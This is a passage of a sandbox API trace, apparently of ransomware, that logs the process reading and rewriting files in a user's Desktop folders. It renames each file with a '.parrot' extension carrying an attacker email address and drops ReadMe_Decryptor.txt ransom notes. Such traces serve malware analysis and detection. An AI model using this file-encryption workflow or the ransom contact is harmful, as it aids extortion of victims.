lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0033.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0033.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x639220 [0033.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0033.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x63c1b8 [0033.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0033.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x640908 [0033.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63c1b8 | out: hHeap=0x5b0000) returned 1 [0033.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x6473e8 [0033.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x640908 | out: hHeap=0x5b0000) returned 1 [0033.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x675320 [0033.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6473e8 | out: hHeap=0x5b0000) returned 1 [0033.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x639220 [0033.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x675320 | out: hHeap=0x5b0000) returned 1 [0033.996] WriteFile (in: hFile=0x260, lpBuffer=0x639240*, nNumberOfBytesToWrite=0x16608, lpNumberOfBytesWritten=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x639240*, lpNumberOfBytesWritten=0x18f7a4*=0x16608, lpOverlapped=0x0) returned 1 [0033.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0033.997] UnlockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x165fb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0033.997] CloseHandle (hObject=0x260) returned 1 [0033.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0033.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d7858 [0033.998] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0033.998] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\kFnn6zs-dVx.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kfnn6zs-dvx.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\kFnn6zs-dVx.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kfnn6zs-dvx.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0033.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d7858 | out: hHeap=0x5b0000) returned 1 [0033.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0033.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6552e0 | out: hHeap=0x5b0000) returned 1 [0033.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b4e0 [0033.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x606b58 [0033.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0033.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0034.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f598, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x260 [0034.000] GetFileType (hFile=0x260) returned 0x1 [0034.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0034.011] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0034.011] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.011] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b569c0, ftCreationTime.dwHighDateTime=0x1d5c230, ftLastAccessTime.dwLowDateTime=0x9cfc2f60, ftLastAccessTime.dwHighDateTime=0x1d5b99b, ftLastWriteTime.dwLowDateTime=0x9cfc2f60, ftLastWriteTime.dwHighDateTime=0x1d5b99b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.011] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.011] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.011] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bfca5e0, ftCreationTime.dwHighDateTime=0x1d5bd34, ftLastAccessTime.dwLowDateTime=0x16374220, ftLastAccessTime.dwHighDateTime=0x1d5b8b1, ftLastWriteTime.dwLowDateTime=0x16374220, ftLastWriteTime.dwHighDateTime=0x1d5b8b1, nFileSizeHigh=0x0, nFileSizeLow=0x1399, dwReserved0=0x0, dwReserved1=0x0, cFileName="0NUomJc7lAYkB0.jpg", cAlternateFileName="0NUOMJ~1.JPG")) returned 1 [0034.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0034.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.011] lstrcmpW (lpString1="0NUomJc7lAYkB0.jpg", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\0NUomJc7lAYkB0.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\0nuomjc7laykb0.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.011] GetFileSize (in: hFile=0x264, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x1399 [0034.011] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14b1, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.011] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.011] ReadFile (in: hFile=0x264, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0034.012] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.012] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1399, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x1399, lpOverlapped=0x0) returned 1 [0034.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0034.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0034.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0034.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0034.012] GetLastError () returned 0x0 [0034.012] SetLastError (dwErrCode=0x0) [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0034.013] GetLastError () returned 0x0 [0034.013] SetLastError (dwErrCode=0x0) [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.013] GetLastError () returned 0x0 [0034.013] SetLastError (dwErrCode=0x0) [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606998 [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.013] GetLastError () returned 0x0 [0034.013] SetLastError (dwErrCode=0x0) [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x60cdc0 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cc550 [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0034.013] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0034.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b4e0 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5cc6d8 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc6d8 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x60cdc0 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d1760 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5cce58 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d4d18 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x649228 [0034.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.014] WriteFile (in: hFile=0x264, lpBuffer=0x649240*, nNumberOfBytesToWrite=0x14b8, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x649240*, lpNumberOfBytesWritten=0x18f4b4*=0x14b8, lpOverlapped=0x0) returned 1 [0034.015] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.015] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14b1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0034.015] CloseHandle (hObject=0x264) returned 1 [0034.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5cc6d8 [0034.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x60cdc0 [0034.016] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc6d8 | out: hHeap=0x5b0000) returned 1 [0034.016] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\0NUomJc7lAYkB0.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\0nuomjc7laykb0.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\0NUomJc7lAYkB0.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\0nuomjc7laykb0.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0034.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0034.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0034.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0034.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0034.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0034.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0034.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0034.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.020] GetFileType (hFile=0x264) returned 0x1 [0034.020] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0034.108] lstrcmpW (lpString1="9D8.mkv", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.108] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\9D8.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\9d8.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.108] GetFileSize (in: hFile=0x264, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0xade0 [0034.108] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaef8, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.108] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.108] ReadFile (in: hFile=0x264, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0034.109] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.109] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xade0, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xade0, lpOverlapped=0x0) returned 1 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0034.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0034.110] GetLastError () returned 0x0 [0034.110] SetLastError (dwErrCode=0x0) [0034.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0034.110] GetLastError () returned 0x0 [0034.110] SetLastError (dwErrCode=0x0) [0034.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.110] GetLastError () returned 0x0 [0034.110] SetLastError (dwErrCode=0x0) [0034.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0034.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x649228 [0034.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0034.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x64d268 [0034.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x6552a8 [0034.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64d268 | out: hHeap=0x5b0000) returned 1 [0034.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.114] GetLastError () returned 0x0 [0034.114] SetLastError (dwErrCode=0x0) [0034.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0034.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cc550 [0034.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x60cdc0 [0034.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0034.114] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0034.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0034.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0034.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 